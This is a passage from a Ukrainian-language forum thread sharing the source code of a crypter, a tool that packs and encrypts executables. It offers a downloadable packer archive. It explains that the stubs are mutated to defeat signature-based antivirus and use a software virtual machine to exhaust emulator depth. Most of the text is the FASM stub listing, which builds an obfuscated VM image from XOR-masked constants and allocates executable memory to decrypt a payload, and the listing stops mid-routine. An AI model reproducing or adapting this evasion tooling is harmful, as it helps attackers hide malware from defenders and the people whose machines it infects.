    xor    edx, edx
    div    edi
    movzx  ecx, Byte [ebx+edx]
    mov    Byte [esi], cl
    inc    esi
    xor    edx, edx
    div    edi
    movzx  ecx, Byte [ebx+edx]
    mov    Byte [esi], cl
    popa
    xor    eax, eax
    ret
endp

proc ascii85_encode pSrc:DWORD, pDst:DWORD, dwLen:DWORD
    pusha
    mov     esi, [pSrc]
    mov     edi, [pDst]
    mov     ecx, [dwLen]
    add     ecx, 03h
    shr     ecx, 02h
.up:
    stdcall ascii85_encode_dword, edi, DWord [esi]
    add     esi, 04h
    add     edi, 05h
    loop    .up
    popa
    ret
endp
Post's attachments

packer.srcnbin.zip 257.45 kb, 1092 downloads since 2015-01-02 

2

Re: [Джерельний код] Криптор

Анатомія стабів

Стаби біж собою сильно різняться, навіть якщо вони мають спільні віртуальні машини, паролі і абетки для розшифрування початкового файлу. Мутації коду нескладні, але їх цілком достатньо для того, щоб збити з пантелику сигнатурний детектор. За вичерпання глибини емуляції відповідає програмна віртуальна машина.

Лістинг головного файлу стаба - stub.asm. Звичайно, що в процесі криптування задіяний не сам лістинг :), а об’єктний файл stub.obj, якого ми одержуємо з цього лістингу, передавший той до FASM’у.

▼Одчинити
format MS COFF
use32
include '%FASMINC%\win32a.inc'
include 'picovm.inc'

macro @ cmd, p {
 PICOVM_CMD cmd, p
}

extrn crdata
extrn '__imp__GetStdHandle@4' as GetStdHandle:DWord
extrn '__imp__VirtualAlloc@16' as VirtualAlloc:DWord
extrn '__imp__WriteFile@20' as WriteFile:DWord
extrn '__imp__GetDC@4' as GetDC:DWord
extrn '__imp__BeginPaint@8' as BeginPaint:DWord
extrn '__imp__CreateMutexA@12' as CreateMutexA:DWord
extrn '__imp__CreateMutexW@12' as CreateMutexW:DWord
extrn '__imp__VirtualFree@12' as VirtualFree:DWord
extrn '__imp__GetLastError@0' as GetLastError:DWord
extrn '__imp__GetModuleHandleA@4' as GetModuleHandleA:DWord
extrn '__imp__GetModuleHandleW@4' as GetModuleHandleW:DWord
extrn '__imp__GetSystemInfo@4' as GetSystemInfo:DWord
extrn '__imp__GetVersionExA@4' as GetVersionExA:DWord
extrn '__imp__LocalAlloc@8' as LocalAlloc:DWord
extrn '__imp__CharUpperA@4' as CharUpperA:DWord
extrn '__imp__CreateDialogParamA@20' as CreateDialogParamA:DWord
extrn '__imp__CreateWindowExA@48' as CreateWindowExA:DWord
extrn '__imp__DefWindowProcA@16' as DefWindowProcA:DWord
extrn '__imp__DispatchMessageA@4' as DispatchMessageA:DWord
extrn '__imp__EndDialog@8' as EndDialog:DWord
extrn '__imp__EndPaint@8' as EndPaint:DWord
extrn '__imp__GetClassInfoExA@12' as GetClassInfoExA:DWord
extrn '__imp__GetMessageA@16' as GetMessageA:DWord
extrn '__imp__GetSystemMetrics@4' as GetSystemMetrics:DWord
extrn '__imp__LoadCursorA@8' as LoadCursorA:DWord
extrn '__imp__LoadIconA@8' as LoadIconA:DWord
extrn '__imp__PostQuitMessage@4' as PostQuitMessage:DWord
extrn '__imp__RegisterClassExA@4' as RegisterClassExA:DWord
extrn '__imp__SendMessageA@16' as SendMessageA:DWord
extrn '__imp__SendMessageW@16' as SendMessageW:DWord
extrn '__imp__SetDlgItemInt@16' as SetDlgItemInt:DWord
extrn '__imp__SetFocus@4' as SetFocus:DWord
extrn '__imp__SetWindowTextW@8' as SetWindowTextW:DWord
extrn '__imp__ShowWindow@8' as ShowWindow:DWord
extrn '__imp__TranslateMessage@4' as TranslateMessage:DWord
extrn '__imp__UpdateWindow@4' as UpdateWindow:DWord
extrn '__imp__GetDIBits@28' as GetDIBits:DWord
extrn '__imp__CreateCompatibleBitmap@12' as CreateCompatibleBitmap:DWord
extrn '__imp__GdiFlush@0' as GdiFlush:DWord
extrn '__imp__CombineRgn@16' as CombineRgn:DWord
extrn '__imp__CreateRectRgnIndirect@4' as CreateRectRgnIndirect:DWord
extrn '__imp__GetRegionData@12' as GetRegionData:DWord
extrn '__imp__SetStretchBltMode@8' as SetStretchBltMode:DWord
extrn '__imp__SelectObject@8' as SelectObject:DWord
extrn '__imp__CreateCompatibleDC@4' as CreateCompatibleDC:DWord
extrn '__imp__CreateDIBitmap@24' as CreateDIBitmap:DWord
extrn '__imp__BitBlt@36' as BitBlt:DWord
extrn '__imp__SetBkMode@8' as SetBkMode:DWord
extrn '__imp__CreateFontIndirectA@4' as CreateFontIndirectA:DWord
extrn '__imp__DPtoLP@12' as DPtoLP:DWord
extrn '__imp__GetDeviceCaps@8' as GetDeviceCaps:DWord
extrn '__imp__CreateFontA@56' as CreateFontA:DWord
extrn '__imp__StretchBlt@44' as StretchBlt:DWord
extrn '__imp__GetObjectA@12' as GetObjectA:DWord
extrn '__imp__SelectClipRgn@8' as SelectClipRgn:DWord
extrn '__imp__ExtTextOutA@32' as ExtTextOutA:DWord
struct PICOVM_DATA
context PICOVM_CONTEXT ?
picovm db 0x3E7 dup (?)
dstack dd 0x2D dup (?)
rstack dd 0x18 dup (?)
ends

section '.data' data readable writeable

pcode:
file 'pcode.bin'

section '.text' code readable executable

proc genvmimage, pPicoVMImage
    mov     ebx, [pPicoVMImage]
    mov     DWord [ebx], DWORD 0xE860
    lea     ebx, [ebx+0x4]
    mov     ecx, DWORD 0x2C830000
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    push    DWORD 0x835D0624
    pop     eax
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     edx, DWORD 0x177706F8
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0x7E8
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x6900D24F
    xor     eax, 0xFA76344F
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    push    DWORD 0xC82EAE56
    pop     DWord [ebx]
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xCB60F59
    add     ebx, DWORD 0x4
    mov     edi, DWORD 0xFFE90101
    push    edi
    pop     DWord [ebx]
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xBA4DEBD1
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xFFFFFFFA
    lea     ebx, [ebx+0x4]
    push    DWORD 0x896015EB
    pop     esi
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     edx, DWORD 0xFF6D1729
    not     edx
    mov     DWord [ebx], edx
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x5F7D1476
    xor     DWord [ebx], 0xE9721476
    lea     ebx, [ebx+0x4]
    mov     eax, DWORD 0xEC04AD5C
    xor     eax, 0x263DA417
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xFCBA0A72
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xF9FFFFFF
    add     ebx, DWORD 0x4
    push    DWORD 0x2CEBD089
    pop     eax
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    push    DWORD 0x890E4B8B
    pop     DWord [ebx]
    add     ebx, DWORD 0x4
    push    DWORD 0xE438331
    pop     eax
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xF8D23104
    add     ebx, DWORD 0x4
    push    DWORD 0xE860EEEB
    pop     edi
    mov     DWord [ebx], edi
    add     ebx, DWORD 0x4
    mov     ecx, DWORD 0xDAB65B27
    xor     ecx, 0xDAB65B4B
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0x775D285
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     ecx, DWORD 0xFFFFFBBA
    push    ecx
    pop     DWord [ebx]
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xFBE37DD3
    xor     DWord [ebx], 0x703F962C
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x32970366
    xor     DWord [ebx], 0x731C0D2D
    lea     ebx, [ebx+0x4]
    push    DWORD 0xE6B83FC
    pop     DWord [ebx]
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x2F59C8F
    xor     DWord [ebx], 0xFA27AD8B
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0xD23166EB
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0xE840C031
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x7A6EF2C5
    xor     DWord [ebx], 0x7A6EF21F
    add     ebx, DWORD 0x4
    mov     esi, DWORD 0xB474F38D
    mov     DWord [ebx], esi
    not     DWord [ebx]
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xFC418B12
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x4126B83
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x3192C3F8
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0x8A2C9C15
    xor     esi, 0xFEF65D5
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0x890374D2
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x93231882
    xor     DWord [ebx], 0xC0A819D1
    lea     ebx, [ebx+0x4]
    mov     ecx, DWORD 0xFF3A8001
    mov     DWord [ebx], ecx
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x3FE80874
    add     ebx, DWORD 0x4
    push    DWORD 0x73000000
    pop     DWord [ebx]
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x3192C3F1
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0xC031C3C0
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     ecx, DWORD 0xA3E8C4FE
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x73000000
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x66E2EE9
    xor     DWord [ebx], 0xC5BEA7EA
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x9CC9BE58
    xor     DWord [ebx], 0x15DBF5D3
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0x1D5045E
    xor     esi, 0x1396874F
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    push    DWORD 0xF76E4294
    pop     eax
    xor     eax, 0x34BC7390
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x12438B60
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x70B9860A
    xor     DWord [ebx], 0x5BB7D581
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xE8C10543
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xA532B02
    add     ebx, DWORD 0x4
    mov     ecx, DWORD 0xF802EAC1
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x3BBAD5A6
    xor     DWord [ebx], 0x2F9E812F
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0x2EFBD1E2
    xor     edx, 0x32DF956B
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x3160C361
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x738B50C0
    lea     ebx, [ebx+0x4]
    push    DWORD 0x4E1F4217
    pop     DWord [ebx]
    xor     DWord [ebx], 0xAFA2CF16
    add     ebx, DWORD 0x4
    mov     esi, DWORD 0xBF18BBAE
    xor     esi, 0xB018BBAC
    mov     DWord [ebx], esi
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xF4E63A80
    xor     DWord [ebx], 0x3C6F3436
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xC701E0D1
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0xB36AC19C
    xor     esi, 0xB4DCCECB
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     ecx, DWORD 0xE0C13F24
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    mov     edi, DWORD 0x93A9BEFC
    xor     edi, 0x95417EFF
    push    edi
    pop     DWord [ebx]
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xF63FC8A1
    xor     DWord [ebx], 0xF63F8549
    lea     ebx, [ebx+0x4]
    mov     eax, DWORD 0x879DFDB
    xor     eax, 0x744ADDB
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x918EF578
    xor     DWord [ebx], 0x794FF2CF
    add     ebx, DWORD 0x4
    mov     ecx, DWORD 0x5E80106
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0xB4B65D0
    xor     esi, 0xB4B645A
    mov     DWord [ebx], esi
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x24048155
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     ecx, DWORD 0xFFFFFED0
    not     ecx
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    mov     edx, DWORD 0x127B8B50
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x7407A874
    not     eax
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x8822FDB9
    xor     DWord [ebx], 0xD2E101FE
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x8524048B
    lea     ebx, [ebx+0x4]
    mov     edx, DWORD 0x8B1575C0
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     esi, DWORD 0xF14245C
    mov     DWord [ebx], esi
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xE28312B6
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xDDFFD3C2
    xor     DWord [ebx], 0x56F3A7C5
    lea     ebx, [ebx+0x4]
    mov     edx, DWORD 0xD6010173
    mov     DWord [ebx], edx
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x3EBD231
    add     ebx, DWORD 0x4
    mov     esi, DWORD 0x89F99692
    mov     DWord [ebx], esi
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x7B8959F0
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0x1738912
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x316082EB
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xEE25AFD3
    xor     DWord [ebx], 0x2FE7262C
    add     ebx, DWORD 0x4
    mov     ecx, DWORD 0x819608EA
    mov     DWord [ebx], ecx
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xFFE6
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0xFF5AE800
    mov     DWord [ebx], edx
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x50B949D1
    xor     DWord [ebx], 0xA080B62E
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xEB4F037D
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x33B60F0B
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xD639C629
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0x4F4F057D
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     ecx, DWORD 0xF801EBF9
    mov     DWord [ebx], ecx
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0xFF56E997
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xD0FFFFFF
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x831089C3
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     edx, DWORD 0x66C308EF
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xF7EB1089
    lea     ebx, [ebx+0x4]
    push    DWORD 0xF3EB1088
    pop     DWord [ebx]
    lea     ebx, [ebx+0x4]
    mov     eax, DWORD 0x4C5EFB9D
    xor     eax, 0x67B53D14
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0x27EBC601
    mov     DWord [ebx], esi
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0xFB8A2D7A
    not     edx
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xE3EBC601
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0x87E0EB46
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     ecx, DWORD 0x830F89CA
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    mov     ecx, DWORD 0xFC304C7
    mov     DWord [ebx], ecx
    add     ebx, DWORD 0x4
    push    DWORD 0x14FEB149
    pop     ecx
    mov     DWord [ebx], ecx
    not     DWord [ebx]
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x4EB70FF4
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0x8BEEEB01
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xE9EB014E
    lea     ebx, [ebx+0x4]
    mov     edi, DWORD 0x147399B2
    xor     edi, 0x97957223
    mov     DWord [ebx], edi
    lea     ebx, [ebx+0x4]
    push    DWORD 0x89C304EF
    pop     edx
    mov     DWord [ebx], edx
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0x42F289C1
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xFFFE55E8
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x214D0817
    xor     DWord [ebx], 0xDDCF07E8
    add     ebx, DWORD 0x4
    mov     esi, DWORD 0x76FFFFFF
    not     esi
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     edx, DWORD 0x2B3A10DA
    xor     edx, 0xA2D2FB14
    mov     DWord [ebx], edx
    lea     ebx, [ebx+0x4]
    mov     esi, DWORD 0x2E11D17F
    xor     esi, 0x6CE358BE
    push    esi
    pop     DWord [ebx]
    lea     ebx, [ebx+0x4]
    mov     edx, DWORD 0xFFFE41E8
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    push    DWORD 0xE8820FFF
    pop     DWord [ebx]
    lea     ebx, [ebx+0x4]
    mov     edi, DWORD 0x1000000
    mov     DWord [ebx], edi
    add     ebx, DWORD 0x4
    mov     ecx, DWORD 0x6EDCA62F
    xor     ecx, 0xE7084DE1
    mov     DWord [ebx], ecx
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0xD23192C1
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0xA8760E08
    not     eax
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x2539B0ED
    xor     DWord [ebx], 0x14F15B15
    lea     ebx, [ebx+0x4]
    mov     ecx, DWORD 0x77D039C9
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xA848CCD2
    xor     DWord [ebx], 0xE7C185D3
    lea     ebx, [ebx+0x4]
    mov     edi, DWORD 0xCE431407
    mov     DWord [ebx], edi
    not     DWord [ebx]
    lea     ebx, [ebx+0x4]
    mov     edx, DWORD 0x72D039C9
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xF2EB49F5
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x979D016D
    xor     eax, 0xD576D16C
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x3A6554E9
    xor     DWord [ebx], 0xE48E96C0
    add     ebx, DWORD 0x4
    mov     esi, DWORD 0x6B1A88CD
    xor     esi, 0x51F16A3A
    mov     DWord [ebx], esi
    add     ebx, DWORD 0x4
    mov     ecx, DWORD 0x36EBD031
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xD3CA8792
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xF5DAECA1
    xor     DWord [ebx], 0x67F50749
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0xC8D3CA87
    mov     DWord [ebx], edx
    lea     ebx, [ebx+0x4]
    mov     ecx, DWORD 0xAE924035
    xor     ecx, 0x290068DE
    mov     DWord [ebx], ecx
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xEBE0D3CA
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x39C93121
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x93CE6FB7
    xor     DWord [ebx], 0xDA091A67
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x2F650317
    xor     eax, 0xFF92C7FC
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x4F8B2FEB
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xF45789F4
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0x4391101E
    xor     edx, 0xCA695797
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x89C3FC4F
    add     ebx, DWORD 0x4
    push    DWORD 0xD23192C1
    pop     DWord [ebx]
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x4789F1F7
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    push    DWORD 0xFF65E9F8
    pop     DWord [ebx]
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x8792FFFF
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xBF07A6FB
    xor     DWord [ebx], 0x54C77531
    lea     ebx, [ebx+0x4]
    mov     edi, DWORD 0xEBD021F1
    mov     DWord [ebx], edi
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xEBD009ED
    lea     ebx, [ebx+0x4]
    mov     edi, DWORD 0x578992E9
    mov     DWord [ebx], edi
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x637EDD17
    xor     eax, 0x6D954CEF
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xEB00B60F
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xB70FF8
    lea     ebx, [ebx+0x4]
    push    DWORD 0x61C6CA88
    pop     eax
    xor     eax, 0x614D3963
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x575D131E
    xor     DWord [ebx], 0x18D4FCF5
    add     ebx, DWORD 0x4
    mov     esi, DWORD 0x4040C3FC
    mov     DWord [ebx], esi
    add     ebx, DWORD 0x4
    mov     esi, DWORD 0xA8A740E9
    xor     esi, 0x6B4F8260
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     eax, DWORD 0x72FFFFFE
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x2E2C143
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x356D85CB
    xor     DWord [ebx], 0xE5447D42
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x83370722
    xor     DWord [ebx], 0xC4B837DD
    lea     ebx, [ebx+0x4]
    push    DWORD 0x3EB52BF8
    pop     ecx
    xor     ecx, 0xFC3CE804
    mov     DWord [ebx], ecx
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xABE84040
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x72FFFFFE
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0xD189602B
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    push    DWORD 0x8B4B3949
    pop     DWord [ebx]
    xor     DWord [ebx], 0x40C2CECE
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x2E3C143
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0x817221D6
    mov     DWord [ebx], edx
    not     DWord [ebx]
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xFC37FFFC
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x78FA5F3
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x4EF8361
    lea     ebx, [ebx+0x4]
    mov     eax, DWORD 0x4EF83C3
    mov     DWord [ebx], eax
    lea     ebx, [ebx+0x4]
    push    DWORD 0x1D241BC5
    pop     DWord [ebx]
    xor     DWord [ebx], 0xE0A4F306
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x372FFFF
    lea     ebx, [ebx+0x4]
    mov     eax, DWORD 0x44EBA2E1
    xor     eax, 0xD6286468
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    push    DWORD 0xB89C6578
    pop     DWord [ebx]
    xor     DWord [ebx], 0xB0B821F1
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0x112391C3
    mov     DWord [ebx], edx
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0xA77C975B
    xor     DWord [ebx], 0xF6539E1A
    add     ebx, DWORD 0x4
    mov     edx, DWORD 0xD10CE302
    mov     DWord [ebx], edx
    add     ebx, DWORD 0x4
    push    DWORD 0x56F6AEC7
    pop     edx
    not     edx
    mov     DWord [ebx], edx
    lea     ebx, [ebx+0x4]
    mov     edi, DWORD 0x910B620F
    mov     DWord [ebx], edi
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x8471126
    add     ebx, DWORD 0x4
    mov     edi, DWORD 0x1EA6D631
    xor     edi, 0x56A8B331
    mov     DWord [ebx], edi
    lea     ebx, [ebx+0x4]
    mov     ecx, DWORD 0x6C16614A
    xor     ecx, 0xFD13E95B
    mov     DWord [ebx], ecx
    lea     ebx, [ebx+0x4]
    mov     edx, DWORD 0x11215127
    mov     DWord [ebx], edx
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x4A4199E4
    xor     DWord [ebx], 0xDB7E90CF
    lea     ebx, [ebx+0x4]
    mov     eax, DWORD 0x3FCFE6DB
    mov     DWord [ebx], eax
    not     DWord [ebx]
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x4900D151
    add     ebx, DWORD 0x4
    push    DWORD 0x5139D110
    pop     edi
    mov     DWord [ebx], edi
    add     ebx, DWORD 0x4
    mov     eax, DWORD 0x112CD129
    mov     DWord [ebx], eax
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0xD11E5137
    add     ebx, DWORD 0x4
    mov     esi, DWORD 0x6BDEBAE8
    xor     esi, 0xA2C8F2D2
    mov     DWord [ebx], esi
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x911B513D
    lea     ebx, [ebx+0x4]
    mov     DWord [ebx], DWORD 0x962BAC91
    xor     DWord [ebx], 0xC72D3C92
    add     ebx, DWORD 0x4
    mov     DWord [ebx], DWORD 0x89259133
    lea     ebx, [ebx+0x4]
    mov     BYTE [ebx], 0x3C
    sub     ebx, -1
    mov     BYTE [ebx], 0x88
    add     ebx, 1
    mov     BYTE [ebx], 0x4
    ret
endp

public CryptMain as '_CryptMain@0'

proc    CryptMain 
  local   pUnpackedData:DWORD
  local   ppcode:DWORD
  local   palphabet:DWORD
  local   pefilesize:DWORD
  local   inpfsz:DWORD
  local   ppicovm:DWORD
  local   ppass:DWORD
  local   pvmctx:DWORD
  local   pmem:DWORD
  local   cdcrsize:DWORD
  local   pPackedData:DWORD
  local   pS:DWORD
  local   S[0x100]:BYTE
  local   iResult:DWORD
    push    esi
    push    edx
    push    ecx
    push    ebx
    push    eax
    mov     ebx, DWord [pmem]
    lea     ebx, [ebx+PICOVM_DATA.context]
    mov     DWord [pvmctx], ebx
    stdcall DWord [VirtualAlloc], NULL, 0xACADBE71, MEM_TOP_DOWN or MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
    push    eax
    pop     DWord [pmem]
    lea     eax, [alphbody]
    mov     eax, DWord [pmem]
    add     eax, DWORD 0x1751
    mov     DWord [pUnpackedData], eax
    lea     ebx, [passbody]
    push    ebx
    pop     DWord [ppass]
    lea     eax, [crdata]
    mov     DWord [pPackedData], eax
    mov     eax, DWord [pmem]
    lea     esi, [eax+PICOVM_DATA.rstack]
    lea     edx, [eax+PICOVM_DATA.dstack]
    mov     DWord [eax+PICOVM_DATA.context._dstack_begin], edx
    mov     BYTE [eax+PICOVM_DATA.context._dstack_size], 0x18
    mov     DWord [eax+PICOVM_DATA.context._rstack_top], esi
    mov     DWord [eax+PICOVM_DATA.context._rstack_begin], esi
    push    edx
    pop     DWord [eax+PICOVM_DATA.context._dstack_top]
    mov     BYTE [eax+PICOVM_DATA.context._rstack_size], 0x2D
    lea     eax, [s]
    push    eax
    pop     DWord [pS]
    lea     ecx, [alphbody]
    push    ecx
    pop     DWord [palphabet]
    mov     DWord [cdcrsize], DWORD 0xAB7E6CA9
    mov     esi, DWord [pmem]
    lea     esi, [PICOVM_DATA.picovm+esi]
    push    esi
    pop     DWord [ppicovm]
    push    esi
    pop     DWord [ppicovm]
    stdcall genvmimage, esi
    lea     ebx, [pcode]
    push    ebx
    pop     DWord [ppcode]
    mov     eax, PICOVM_FNC_DSPUSH
    mov     edx, DWord [pS]
    push    DWord [pvmctx]
    pop     ebx
    call    [ppicovm]
